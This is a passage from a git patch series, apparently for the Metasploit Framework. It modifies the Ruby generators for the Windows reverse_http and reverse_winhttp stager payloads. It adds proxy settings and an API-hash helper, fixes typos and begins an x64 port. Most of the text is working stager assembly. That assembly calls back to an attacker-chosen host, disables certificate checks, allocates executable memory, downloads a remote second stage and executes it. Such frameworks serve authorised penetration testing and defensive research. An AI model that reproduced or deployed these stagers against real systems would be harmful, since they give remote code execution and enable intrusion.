INTERNET_FLAG_SECURE + 0x00002000 | # INTERNET_FLAG_IGNORE_CERT_DATE_INVALID + 0x00001000 ) # INTERNET_FLAG_IGNORE_CERT_CN_INVALID + + secure_flags = ( + 0x00002000 | # SECURITY_FLAG_IGNORE_CERT_DATE_INVALID + 0x00001000 | # SECURITY_FLAG_IGNORE_CERT_CN_INVALID + 0x00000200 | # SECURITY_FLAG_IGNORE_WRONG_USAGE + 0x00000100 | # SECURITY_FLAG_IGNORE_UNKNOWN_CA + 0x00000080 ) # SECURITY_FLAG_IGNORE_REVOCATION else - #;0x80000000 | ; INTERNET_FLAG_RELOAD - #;0x04000000 | ; INTERNET_NO_CACHE_WRITE - #;0x00400000 | ; INTERNET_FLAG_KEEP_CONNECTION - #;0x00200000 | ; INTERNET_FLAG_NO_AUTO_REDIRECT - #;0x00000200 ; INTERNET_FLAG_NO_UI - http_open_flags = ( 0x80000000 | 0x04000000 | 0x00400000 | 0x00200000 | 0x00000200 ) + http_open_flags = ( + 0x80000000 | # INTERNET_FLAG_RELOAD + 0x04000000 | # INTERNET_NO_CACHE_WRITE + 0x00400000 | # INTERNET_FLAG_KEEP_CONNECTION + 0x00200000 | # INTERNET_FLAG_NO_AUTO_REDIRECT + 0x00000200 ) # INTERNET_FLAG_NO_UI end asm = %Q^ @@ -213,29 +221,29 @@ module Payload::Windows::ReverseHttp if proxy_enabled asm << %Q^ - internetopen: - push ebx ; DWORD dwFlags - push esp ; LPCTSTR lpszProxyBypass ("" = empty string) - call get_proxy_server - db "#{proxy_info}", 0x00 - get_proxy_server: - ; LPCTSTR lpszProxyName (via call) - push 3 ; DWORD dwAccessType (INTERNET_OPEN_TYPE_PROXY = 3) - push ebx ; LPCTSTR lpszAgent (NULL) - push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" ) - call ebp - ^ + internetopen: + push ebx ; DWORD dwFlags + push esp ; LPCTSTR lpszProxyBypass ("" = empty string) + call get_proxy_server + db "#{proxy_info}", 0x00 + get_proxy_server: + ; LPCTSTR lpszProxyName (via call) + push 3 ; DWORD dwAccessType (INTERNET_OPEN_TYPE_PROXY = 3) + push ebx ; LPCTSTR lpszAgent (NULL) + push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" ) + call ebp + ^ else asm << %Q^ - internetopen: - push ebx ; DWORD dwFlags - push ebx ; LPCTSTR lpszProxyBypass (NULL) - push ebx ; LPCTSTR lpszProxyName (NULL) - push ebx ; DWORD dwAccessType (PRECONFIG = 0) - push ebx ; LPCTSTR lpszAgent (NULL) - push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" ) - call ebp - ^ + internetopen: + push ebx ; DWORD dwFlags + push ebx ; LPCTSTR lpszProxyBypass (NULL) + push ebx ; LPCTSTR lpszProxyName (NULL) + push ebx ; DWORD dwAccessType (PRECONFIG = 0) + push ebx ; LPCTSTR lpszAgent (NULL) + push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" ) + call ebp + ^ end asm << %Q^ @@ -261,34 +269,34 @@ module Payload::Windows::ReverseHttp if proxy_enabled && proxy_user asm << %Q^ - ; DWORD dwBufferLength (length of username) - push #{proxy_user.length} - call set_proxy_username - proxy_username: - db "#{proxy_user}",0x00 - set_proxy_username: - ; LPVOID lpBuffer (username from previous call) - push 43 ; DWORD dwOption (INTERNET_OPTION_PROXY_USERNAME) - push esi ; hConnection - push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" ) - call ebp - ^ + ; DWORD dwBufferLength (length of username) + push #{proxy_user.length} + call set_proxy_username + proxy_username: + db "#{proxy_user}",0x00 + set_proxy_username: + ; LPVOID lpBuffer (username from previous call) + push 43 ; DWORD dwOption (INTERNET_OPTION_PROXY_USERNAME) + push esi ; hConnection + push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" ) + call ebp + ^ end if proxy_enabled && proxy_pass asm << %Q^ - ; DWORD dwBufferLength (length of password) - push #{proxy_pass.length} - call set_proxy_password - proxy_password: - db "#{proxy_pass}",0x00 - set_proxy_password: - ; LPVOID lpBuffer (password from previous call) - push 44 ; DWORD dwOption (INTERNET_OPTION_PROXY_PASSWORD) - push esi ; hConnection - push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" ) - call ebp - ^ + ; DWORD dwBufferLength (length of password) + push #{proxy_pass.length} + call set_proxy_password + proxy_password: + db "#{proxy_pass}",0x00 + set_proxy_password: + ; LPVOID lpBuffer (password from previous call) + push 44 ; DWORD dwOption (INTERNET_OPTION_PROXY_PASSWORD) + push esi ; hConnection + push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" ) + call ebp + ^ end asm << %Q^ @@ -311,26 +319,21 @@ module Payload::Windows::ReverseHttp pop edi send_request: - ^ + ^ if opts[:ssl] asm << %Q^ - ; InternetSetOption (hReq, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, sizeof (dwFlags) ); - set_security_options: - push 0x00003380 - ;0x00002000 | ; SECURITY_FLAG_IGNORE_CERT_DATE_INVALID - ;0x00001000 | ; SECURITY_FLAG_IGNORE_CERT_CN_INVALID - ;0x00000200 | ; SECURITY_FLAG_IGNORE_WRONG_USAGE - ;0x00000100 | ; SECURITY_FLAG_IGNORE_UNKNOWN_CA - ;0x00000080 ; SECURITY_FLAG_IGNORE_REVOCATION - mov eax, esp - push 4 ; sizeof(dwFlags) - push eax ; &dwFlags - push 31 ; DWORD dwOption (INTERNET_OPTION_SECURITY_FLAGS) - push esi ; hHttpRequest - push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" ) - call ebp - ^ + ; InternetSetOption (hReq, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, sizeof (dwFlags) ); + set_security_options: + push 0x#{secure_flags.to_s(16)} + mov eax, esp + push 4 ; sizeof(dwFlags) + push eax ; &dwFlags + push 31 ; DWORD dwOption (INTERNET_OPTION_SECURITY_FLAGS) + push esi ; hHttpRequest + push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" ) + call ebp + ^ end asm << %Q^ @@ -350,68 +353,69 @@ module Payload::Windows::ReverseHttp jnz send_request ; if we didn't allocate before running out of retries, bail out - ^ - - if opts[:exitfunk] - asm << %Q^ - failure: - call exitfunk - ^ - else - asm << %Q^ - failure: - push 0x56A2B5F0 ; hardcoded to exitprocess for size - call ebp - ^ - end + ^ + if opts[:exitfunk] asm << %Q^ - allocate_memory: - push 0x40 ; PAGE_EXECUTE_READWRITE - push 0x1000 ; MEM_COMMIT - push 0x00400000 ; Stage allocation (4Mb ought to do us) - push ebx ; NULL as we dont care where the allocation is - push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" ) - call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE ); + failure: + call exitfunk + ^ + else + asm << %Q^ + failure: + push 0x56A2B5F0 ; hardcoded to exitprocess for size + call ebp + ^ + end - download_prep: - xchg eax, ebx ; place the allocated base address in ebx - push ebx ; store a copy of the stage base address on the stack - push ebx ; temporary storage for bytes read count - mov edi, esp ; &bytesRead + asm << %Q^ + allocate_memory: + push 0x40 ; PAGE_EXECUTE_READWRITE + push 0x1000 ; MEM_COMMIT + push 0x00400000 ; Stage allocation (4Mb ought to do us) + push ebx ; NULL as we dont care where the allocation is + push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" ) + call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE ); - download_more: - push edi ; &bytesRead - push 8192 ; read length - push ebx ; buffer - push esi ; hRequest - push 0xE2899612 ; hash( "wininet.dll", "InternetReadFile" ) - call ebp + download_prep: + xchg eax, ebx ; place the allocated base address in ebx + push ebx ; store a copy of the stage base address on the stack + push ebx ; temporary storage for bytes read count + mov edi, esp ; &bytesRead - test eax,eax ; download failed? (optional?) - jz failure + download_more: + push edi ; &bytesRead + push 8192 ; read length + push ebx ; buffer + push esi ; hRequest + push 0xE2899612 ; hash( "wininet.dll", "InternetReadFile" ) + call ebp - mov eax, [edi] - add ebx, eax ; buffer += bytes_received + test eax,eax ; download failed? (optional?) + jz failure - test eax,eax ; optional? - jnz download_more ; continue until it returns 0 - pop eax ; clear the temporary storage + mov eax, [edi] + add ebx, eax ; buffer += bytes_received - execute_stage: - ret ; dive into the stored stage address + test eax,eax ; optional? + jnz download_more ; continue until it returns 0 + pop eax ; clear the temporary storage - got_server_uri: - pop edi - call got_server_host + execute_stage: + ret ; dive into the stored stage address - server_host: - db "#{opts[:host]}", 0x00 - ^ + got_server_uri: + pop edi + call got_server_host + + server_host: + db "#{opts[:host]}", 0x00 + ^ + + if opts[:exitfunk] + asm << asm_exitfunk(opts) + end - if opts[:exitfunk] - asm << asm_exitfunk(opts) - end asm end @@ -429,7 +433,6 @@ module Payload::Windows::ReverseHttp 20 end - end end diff --git a/lib/msf/core/payload/windows/reverse_winhttp.rb b/lib/msf/core/payload/windows/reverse_winhttp.rb index 4ce1465a23..485cfe4656 100644 --- a/lib/msf/core/payload/windows/reverse_winhttp.rb +++ b/lib/msf/core/payload/windows/reverse_winhttp.rb @@ -36,11 +36,11 @@ module Payload::Windows::ReverseWinHttp conf[:url] = generate_uri conf[:exitfunk] = datastore['EXITFUNC'] conf[:verify_cert_hash] = opts[:verify_cert_hash] - confg[:proxy_host] = datastore['PayloadProxyHost'] - confg[:proxy_user] = datastore['PayloadProxyUser'] - confg[:proxy_pass] = datastore['PayloadProxyPass'] - confg[:proxy_type] = datastore['PayloadProxyType'] - confg[:retry_count] = datastore['StagerRetryCount'] + conf[:proxy_host] = datastore['PayloadProxyHost'] + conf[:proxy_user] = datastore['PayloadProxyUser'] + conf[:proxy_pass] = datastore['PayloadProxyPass'] + conf[:proxy_type] = datastore['PayloadProxyType'] + conf[:retry_count] = datastore['StagerRetryCount'] end generate_reverse_winhttp(conf) @@ -121,6 +121,27 @@ module Payload::Windows::ReverseWinHttp encoded_cert_hash = opts[:verify_cert_hash].unpack("C*").map{|c| "0x%.2x" % c }.join(",") end + proxy_enabled = !!(opts[:proxy_host].to_s.strip.length > 0) + proxy_info = "" + + if proxy_enabled + if opts[:proxy_type].to_s.downcase == "socks" + proxy_info << "socks=" + else + proxy_info << "http://" + end + + proxy_info << opts[:proxy_host].to_s + if opts[:proxy_port].to_i > 0 + proxy_info << ":#{opts[:proxy_port]}" + end + + proxy_info = asm_generate_wchar_array(proxy_info) + end + + proxy_user = opts[:proxy_user].to_s.length == 0 ? nil : asm_generate_wchar_array(opts[:proxy_user]) + proxy_pass = opts[:proxy_pass].to_s.length == 0 ? nil : asm_generate_wchar_array(opts[:proxy_pass]) + http_open_flags = 0 secure_flags = 0 @@ -133,7 +154,8 @@ module Payload::Windows::ReverseWinHttp 0x00002000 | # SECURITY_FLAG_IGNORE_CERT_DATE_INVALID 0x00001000 | # SECURITY_FLAG_IGNORE_CERT_CN_INVALID 0x00000200 | # SECURITY_FLAG_IGNORE_WRONG_USAGE - 0x00000100 ) # SECURITY_FLAG_IGNORE_UNKNOWN_CA + 0x00000100 | # SECURITY_FLAG_IGNORE_UNKNOWN_CA + 0x00000080 ) # SECURITY_FLAG_IGNORE_REVOCATION else http_open_flags = 0x00000100 # WINHTTP_FLAG_BYPASS_PROXY_CACHE end @@ -146,7 +168,7 @@ module Payload::Windows::ReverseWinHttp push 0x00707474 ; Push the string 'winhttp',0 push 0x686E6977 ; ... push esp ; Push a pointer to the "winhttp" string - push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" ) + push #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')} call ebp ; LoadLibraryA( "winhttp" ) ^ @@ -156,24 +178,43 @@ module Payload::Windows::ReverseWinHttp push 0x00323374 ; Push the string 'crypt32',0 push 0x70797263 ; ... push esp ; Push a pointer to the "crypt32" string - push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" ) + push #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')} call ebp ; LoadLibraryA( "wincrypt" ) ^ end asm << %Q^ - - xor ebx, ebx + xor ebx, ebx WinHttpOpen: + ^ + + if proxy_enabled + asm << %Q^ + push ebx ; Flags + push esp ; ProxyBypass ("") + call get_proxy_server + db "#{proxy_info}", 0x00 + get_proxy_server: + ; ProxyName (via call) + push 3 ; AccessType (NAMED_PROXY= 3) + push ebx ; UserAgent (NULL) [1] + push #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpOpen')} + call ebp + ^ + else + asm << %Q^ push ebx ; Flags push ebx ; ProxyBypass (NULL) push ebx ; ProxyName (NULL) push ebx ; AccessType (DEFAULT_PROXY= 0) push ebx ; UserAgent (NULL) [1] - push 0xBB9D1F04 ; hash( "winhttp.dll", "WinHttpOpen" ) + push #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpOpen')} call ebp + ^ + end + asm << %Q^ WinHttpConnect: push ebx ; Reserved (NULL) push #{opts[:port]} ; Port [3] @@ -182,7 +223,7 @@ module Payload::Windows::ReverseWinHttp db #{encoded_url} got_server_host: push eax ; Session handle returned by WinHttpOpen - push 0xC21E9B46 ; hash( "winhttp.dll", "WinHttpConnect" ) + push #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpConnect')} call ebp WinHttpOpenRequest: @@ -194,11 +235,44 @@ module Payload::Windows::ReverseWinHttp push edi ; ObjectName (URI) push ebx ; Verb (GET method) (NULL) push eax ; Connect handle returned by WinHttpConnect - push 0x5BB31098 ; hash( "winhttp.dll", "WinHttpOpenRequest" ) + push #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpOpenRequest')} call ebp xchg esi, eax ; save HttpRequest handler in esi ^ + if proxy_enabled && proxy_user + asm << %Q^ + push ebx ; pAuthParams (NULL) + ^ + + if proxy_Pass + asm << %Q^ + call got_proxy_pass ; put proxy_pass on the stack + proxy_pass: + db #{proxy_pass} + got_proxy_pass: + ; pwszPassword now on the stack + ^ + else + asm << %Q^ + push ebx ; pAuthParams (NULL) + ^ + end + + asm << %Q^ + call got_proxy_user ; put proxy_user on the stack + proxy_user: + db #{proxy_user} + got_proxy_user: + ; pwszUserName now on the stack + push 1 ; AuthScheme (WINHTTP_AUTH_SCHEME_BASIC = 1) + push 1 ; AuthTargets (WINHTTP_AUTH_TARGET_PROXY = 1) + push esi ; hRequest + push #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpSetCredentials')} + call ebp + ^ + end + if opts[:ssl] asm << %Q^ ; WinHttpSetOption (hInternet, WINHTTP_OPTION_SECURITY_FLAGS, &buffer, sizeof(buffer) ); @@ -209,7 +283,7 @@ module Payload::Windows::ReverseWinHttp push eax ; &buffer push 31 ; DWORD dwOption (WINHTTP_OPTION_SECURITY_FLAGS) push esi ; hHttpRequest - push 0xCE9D58D3 ; hash( "winhttp.dll", "WinHttpSetOption" ) + push #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpSetOption')} call ebp ^ end @@ -230,7 +304,7 @@ module Payload::Windows::ReverseWinHttp push ebx ; HeadersLength (0) [3] push ebx ; Headers (NULL) [2] push esi ; HttpRequest handle returned by WinHttpOpenRequest [1] - push 0x91BB5895 ; hash( "winhttp.dll", "WinHttpSendRequest" ) + push #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpSendRequest')} call ebp test eax,eax jnz check_response ; if TRUE call WinHttpReceiveResponse API @@ -274,7 +348,7 @@ module Payload::Windows::ReverseWinHttp push ebx ; &buffer push 78 ; DWORD dwOption (WINHTTP_OPTION_SERVER_CERT_CONTEXT) push esi ; hHttpRequest - push 0x272F0478 ; hash( "winhttp.dll", "WinHttpQueryOption" ) + push #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpQueryOption')} call ebp test eax, eax ; jz failure ; Bail out if we couldn't get the certificate context @@ -291,7 +365,7 @@ module Payload::Windows::ReverseWinHttp push edi ; &buffer (20-byte SHA1 hash) push 3 ; DWORD dwPropId (CERT_SHA1_HASH_PROP_ID) push [ebx] ; *pCert - push 0xC3A96E2D ; hash( "crypt32.dll", "CertGetCertificateContextProperty" ) + push #{Rex::Text.block_api_hash('crypt32.dll', 'CertGetCertificateContextProperty')} call ebp test eax, eax ; jz failure ; Bail out if we couldn't get the certificate context @@ -328,7 +402,7 @@ module Payload::Windows::ReverseWinHttp ; first to get a valid handle for WinHttpReadData push ebx ; Reserved (NULL) push esi ; Request handler returned by WinHttpSendRequest - push 0x709D8805 ; hash( "winhttp.dll", "WinHttpReceiveResponse" ) + push #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpReceiveResponse')} call ebp test eax,eax jz failure @@ -338,7 +412,7 @@ module Payload::Windows::ReverseWinHttp push 0x1000 ; MEM_COMMIT push 0x00400000 ; Stage allocation (4Mb ought to do us) push ebx ; NULL as we dont care where the allocation is - push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" ) + push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')} call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE ); download_prep: @@ -352,7 +426,7 @@ module Payload::Windows::ReverseWinHttp push 8192 ; NumberOfBytesToRead push ebx ; Buffer push esi ; Request handler returned by WinHttpReceiveResponse - push 0x7E24296C ; hash( "winhttp.dll", "WinHttpReadData" ) + push #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpReadData')} call ebp test eax,eax ; if download failed? (optional?) diff --git a/lib/msf/core/payload/windows/reverse_winhttps.rb b/lib/msf/core/payload/windows/reverse_winhttps.rb index 7051a04a9b..1f51d8b34c 100644 --- a/lib/msf/core/payload/windows/reverse_winhttps.rb +++ b/lib/msf/core/payload/windows/reverse_winhttps.rb @@ -16,7 +16,6 @@ module Msf module Payload::Windows::ReverseWinHttps - include Msf::TransportConfig include Msf::Payload::Windows::ReverseWinHttp include Msf::Payload::Windows::VerifySsl @@ -25,8 +24,8 @@ module Payload::Windows::ReverseWinHttps # def initialize(*args) super - register_advanced_options( - [ + + register_advanced_options([ OptBool.new('StagerVerifySSLCert', [false, 'Whether to verify the SSL certificate hash in the handler', false]) ], self.class) end diff --git a/lib/msf/core/payload/windows/x64/exitfunk.rb b/lib/msf/core/payload/windows/x64/exitfunk.rb index e946aeb60c..b126938791 100644 --- a/lib/msf/core/payload/windows/x64/exitfunk.rb +++ b/lib/msf/core/payload/windows/x64/exitfunk.rb @@ -23,7 +23,7 @@ module Payload::Windows::Exitfunk_x64 asm << %Q^ push 0 ; pop rcx ; set the exit function parameter - mov ebx, #{"0x%.8x" % Msf::Payload::Windows.exit_types['seh']} + mov ebx, 0x#{Msf::Payload::Windows.exit_types['seh'].to_s(16)} mov r10d, ebx ; place the correct EXITFUNK into r10d call rbp ; SetUnhandledExceptionFilter(0) push 0 ; @@ -36,7 +36,7 @@ module Payload::Windows::Exitfunk_x64 when 'thread' asm << %Q^ - mov ebx, #{"0x%.8x" % Msf::Payload::Windows.exit_types['thread']} + mov ebx, 0x#{Msf::Payload::Windows.exit_types['thread'].to_s(16)} mov r10d, 0x9DBD95A6 ; hash( "kernel32.dll", "GetVersion" ) call rbp ; GetVersion(); (AL will = major version and AH will = minor version) add rsp, 40 ; cleanup the default param space on stack @@ -57,7 +57,7 @@ module Payload::Windows::Exitfunk_x64 asm << %Q^ push 0 ; pop rcx ; set the exit function parameter - mov ebx, #{"0x%.8x" % Msf::Payload::Windows.exit_types['process']} + mov ebx, 0x#{Msf::Payload::Windows.exit_types['process'].to_s(16)} mov r10d, ebx ; place the correct EXITFUNK into r10d call rbp ; ExitProcess(0) ^ @@ -66,7 +66,7 @@ module Payload::Windows::Exitfunk_x64 asm << %Q^ push 300000 ; 300 seconds pop rcx ; set the sleep function parameter - mov ebx, #{"0x%.8x" % Rex::Text.ror13_hash('Sleep')} + mov ebx, #{Rex::Text.block_api_hash('kernel32.dll', 'Sleep')} mov r10d, ebx ; place the correct EXITFUNK into r10d call rbp ; Sleep(30000) jmp exitfunk ; repeat diff --git a/lib/rex/text.rb b/lib/rex/text.rb index fb4ed2b3c9..d321b573d1 100644 --- a/lib/rex/text.rb +++ b/lib/rex/text.rb @@ -1675,6 +1675,19 @@ module Text mail_address << Rex::Text.rand_hostname end + # + # Calculate the block API hash for the given module/function + # + # @param mod [String] The name of the module containing the target function. + # @param fun [String] The name of the function. + # + # @return [String] The hash of the mod/fun pair in string format + def self.block_api_hash(mod, fun) + unicode_mod = (mod.upcase + "\x00").unpack('C*').pack('v*') + mod_hash = self.ror13_hash(unicode_mod) + fun_hash = self.ror13_hash(fun + "\x00") + "0x#{(mod_hash + fun_hash & 0xFFFFFFFF).to_s(16)}" + end # # Calculate the ROR13 hash of a given string From cbf06fcb02ac4762381678b5ceed1f259253310f Mon Sep 17 00:00:00 2001 From: OJ Date: Sat, 9 May 2015 17:03:26 +1000 Subject: [PATCH 09/27] Tweak reverse_winhttp to fix small issues Now working fine with proxy settings. --- lib/msf/core/payload/windows/reverse_winhttp.rb | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) diff --git a/lib/msf/core/payload/windows/reverse_winhttp.rb b/lib/msf/core/payload/windows/reverse_winhttp.rb index 485cfe4656..8c66353c50 100644 --- a/lib/msf/core/payload/windows/reverse_winhttp.rb +++ b/lib/msf/core/payload/windows/reverse_winhttp.rb @@ -37,6 +37,7 @@ module Payload::Windows::ReverseWinHttp conf[:exitfunk] = datastore['EXITFUNC'] conf[:verify_cert_hash] = opts[:verify_cert_hash] conf[:proxy_host] = datastore['PayloadProxyHost'] + conf[:proxy_port] = datastore['PayloadProxyPort'] conf[:proxy_user] = datastore['PayloadProxyUser'] conf[:proxy_pass] = datastore['PayloadProxyPass'] conf[:proxy_type] = datastore['PayloadProxyType'] @@ -157,7 +158,8 @@ module Payload::Windows::ReverseWinHttp 0x00000100 | # SECURITY_FLAG_IGNORE_UNKNOWN_CA 0x00000080 ) # SECURITY_FLAG_IGNORE_REVOCATION else - http_open_flags = 0x00000100 # WINHTTP_FLAG_BYPASS_PROXY_CACHE + http_open_flags = ( + 0x00000100 ) # WINHTTP_FLAG_BYPASS_PROXY_CACHE end asm = %Q^ @@ -194,7 +196,7 @@ module Payload::Windows::ReverseWinHttp push ebx ; Flags push esp ; ProxyBypass ("") call get_proxy_server - db "#{proxy_info}", 0x00 + db #{proxy_info} get_proxy_server: ; ProxyName (via call) push 3 ; AccessType (NAMED_PROXY= 3) @@ -245,7 +247,7 @@ module Payload::Windows::ReverseWinHttp push ebx ; pAuthParams (NULL) ^ - if proxy_Pass + if proxy_pass asm << %Q^ call got_proxy_pass ; put proxy_pass on the stack proxy_pass: @@ -255,7 +257,7 @@ module Payload::Windows::ReverseWinHttp ^ else asm << %Q^ - push ebx ; pAuthParams (NULL) + push ebx ; pwszPassword (NULL) ^ end From 800ab11abddc4029fdd6c44bd09f94bbb1386ded Mon Sep 17 00:00:00 2001 From: OJ Date: Sat, 9 May 2015 17:20:16 +1000 Subject: [PATCH 10/27] Payload size adjustment, typo fix Woot, this somehow reduces the payload sizes by 2 bytes... woot.. or something. --- lib/msf/core/payload/windows/reverse_http.rb | 2 +- lib/msf/core/payload/windows/reverse_winhttp.rb | 3 +-- modules/payloads/stagers/windows/reverse_winhttp.rb | 2 +- modules/payloads/stagers/windows/reverse_winhttps.rb | 2 +- 4 files changed, 4 insertions(+), 5 deletions(-) diff --git a/lib/msf/core/payload/windows/reverse_http.rb b/lib/msf/core/payload/windows/reverse_http.rb index 3abc4c08b3..0d66c2280e 100644 --- a/lib/msf/core/payload/windows/reverse_http.rb +++ b/lib/msf/core/payload/windows/reverse_http.rb @@ -43,7 +43,7 @@ module Payload::Windows::ReverseHttp # def generate(opts={}) conf = { - :ssl => opts[ssl] || false, + :ssl => opts[:ssl] || false, :host => datastore['LHOST'], :port => datastore['LPORT'], :url => generate_small_uri, diff --git a/lib/msf/core/payload/windows/reverse_winhttp.rb b/lib/msf/core/payload/windows/reverse_winhttp.rb index 8c66353c50..57ebc72111 100644 --- a/lib/msf/core/payload/windows/reverse_winhttp.rb +++ b/lib/msf/core/payload/windows/reverse_winhttp.rb @@ -155,8 +155,7 @@ module Payload::Windows::ReverseWinHttp 0x00002000 | # SECURITY_FLAG_IGNORE_CERT_DATE_INVALID 0x00001000 | # SECURITY_FLAG_IGNORE_CERT_CN_INVALID 0x00000200 | # SECURITY_FLAG_IGNORE_WRONG_USAGE - 0x00000100 | # SECURITY_FLAG_IGNORE_UNKNOWN_CA - 0x00000080 ) # SECURITY_FLAG_IGNORE_REVOCATION + 0x00000100 ) # SECURITY_FLAG_IGNORE_UNKNOWN_CA else http_open_flags = ( 0x00000100 ) # WINHTTP_FLAG_BYPASS_PROXY_CACHE diff --git a/modules/payloads/stagers/windows/reverse_winhttp.rb b/modules/payloads/stagers/windows/reverse_winhttp.rb index ad83f563d9..1bcd0a9e6e 100644 --- a/modules/payloads/stagers/windows/reverse_winhttp.rb +++ b/modules/payloads/stagers/windows/reverse_winhttp.rb @@ -11,7 +11,7 @@ require 'msf/core/payload/windows/reverse_winhttp' module Metasploit3 - CachedSize = 329 + CachedSize = 327 include Msf::Payload::Stager include Msf::Payload::Windows diff --git a/modules/payloads/stagers/windows/reverse_winhttps.rb b/modules/payloads/stagers/windows/reverse_winhttps.rb index cf6924c046..ae6cce1098 100644 --- a/modules/payloads/stagers/windows/reverse_winhttps.rb +++ b/modules/payloads/stagers/windows/reverse_winhttps.rb @@ -11,7 +11,7 @@ require 'msf/core/payload/windows/reverse_winhttps' module Metasploit3 - CachedSize = 349 + CachedSize = 347 include Msf::Payload::Stager include Msf::Payload::Windows From e69e6c4a73c11f98688b2f2787d7923264bdf46a Mon Sep 17 00:00:00 2001 From: OJ Date: Mon, 11 May 2015 16:52:35 +1000 Subject: [PATCH 11/27] Implement winhttp for x64 Still has some quirks to fix up, but we're getting there. Everything seems to work except for reverse_winhttps. I can't see why at this point. --- lib/msf/core/payload/windows/x64/exitfunk.rb | 6 +- .../core/payload/windows/x64/reverse_http.rb | 68 ++- .../payload/windows/x64/reverse_winhttp.rb | 477 ++++++++++++++++++ .../payload/windows/x64/reverse_winhttps.rb | 70 +++ .../stagers/windows/reverse_hop_http.rb | 27 +- .../payloads/stagers/windows/reverse_http.rb | 20 +- .../payloads/stagers/windows/reverse_https.rb | 20 +- .../stagers/windows/reverse_winhttp.rb | 25 +- .../stagers/windows/reverse_winhttps.rb | 25 +- .../stagers/windows/x64/reverse_http.rb | 21 +- .../stagers/windows/x64/reverse_https.rb | 19 +- .../stagers/windows/x64/reverse_winhttp.rb | 34 ++ .../stagers/windows/x64/reverse_winhttps.rb | 35 ++ 13 files changed, 714 insertions(+), 133 deletions(-) create mode 100644 lib/msf/core/payload/windows/x64/reverse_winhttp.rb create mode 100644 lib/msf/core/payload/windows/x64/reverse_winhttps.rb create mode 100644 modules/payloads/stagers/windows/x64/reverse_winhttp.rb create mode 100644 modules/payloads/stagers/windows/x64/reverse_winhttps.rb diff --git a/lib/msf/core/payload/windows/x64/exitfunk.rb b/lib/msf/core/payload/windows/x64/exitfunk.rb index b126938791..f9e2ff262e 100644 --- a/lib/msf/core/payload/windows/x64/exitfunk.rb +++ b/lib/msf/core/payload/windows/x64/exitfunk.rb @@ -57,8 +57,7 @@ module Payload::Windows::Exitfunk_x64 asm << %Q^ push 0 ; pop rcx ; set the exit function parameter - mov ebx, 0x#{Msf::Payload::Windows.exit_types['process'].to_s(16)} - mov r10d, ebx ; place the correct EXITFUNK into r10d + mov r10, #{Rex::Text.block_api_hash('kernel32.dll', 'ExitProcess')} call rbp ; ExitProcess(0) ^ @@ -66,8 +65,7 @@ module Payload::Windows::Exitfunk_x64 asm << %Q^ push 300000 ; 300 seconds pop rcx ; set the sleep function parameter - mov ebx, #{Rex::Text.block_api_hash('kernel32.dll', 'Sleep')} - mov r10d, ebx ; place the correct EXITFUNK into r10d + mov r10, #{Rex::Text.block_api_hash('kernel32.dll', 'Sleep')} call rbp ; Sleep(30000) jmp exitfunk ; repeat ^ diff --git a/lib/msf/core/payload/windows/x64/reverse_http.rb b/lib/msf/core/payload/windows/x64/reverse_http.rb index be738dbabd..890ae050b7 100644 --- a/lib/msf/core/payload/windows/x64/reverse_http.rb +++ b/lib/msf/core/payload/windows/x64/reverse_http.rb @@ -198,8 +198,10 @@ module Payload::Windows::ReverseHttp_x64 end asm = %Q^ + xor rbx, rbx + load_wininet: - push 0 + push rbx mov r14, 'wininet' push r14 ; Push 'wininet',0 onto the stack mov r14, rsp ; Save pointer to string @@ -222,17 +224,19 @@ module Payload::Windows::ReverseHttp_x64 else asm << %Q^ xor r8, r8 ; NULL pointer (lpszProxyName) - xor rdx, rdx ; PRECONFIG = 0 (dwAccessType) + ; the push/pop sequence saves a byte over XOR + push rbx + pop rdx ; PRECONFIG = 0 (dwAccessType) ^ end asm << %Q^ - push 0 ; alignment - push 0 ; NULL pointer + push rbx ; 0 for alignment + push rbx ; 0 for alignment xor r9, r9 ; NULL pointer (lpszProxyBypass) mov rcx, rsp ; Empty string pointer (lpszAgent) - push 0 ; 0 (dwFlags) - push 0 ; alignment + push rbx ; 0 (dwFlags) + push rbx ; 0 for alignment mov r10, 0xA779563A ; hash( "wininet.dll", "InternetOpenA" ) call rbp ^ @@ -247,10 +251,10 @@ module Payload::Windows::ReverseHttp_x64 mov rcx, rax ; HINTERNET (hInternet) mov r8, #{opts[:port]} ; xor r9, r9 ; String (lpszUsername) - push 0 ; NULL (dwContext) - push 0 ; 0 (dwFlags) + push rbx ; NULL (dwContext) + push rbx ; 0 (dwFlags) push 3 ; INTERNET_SERVICE_HTTP (dwService) - push 0 ; alignment + push rbx ; 0 for alignment mov r10, 0xC69F8957 ; hash( "wininet.dll", "InternetConnectA" ) call rbp ^ @@ -277,8 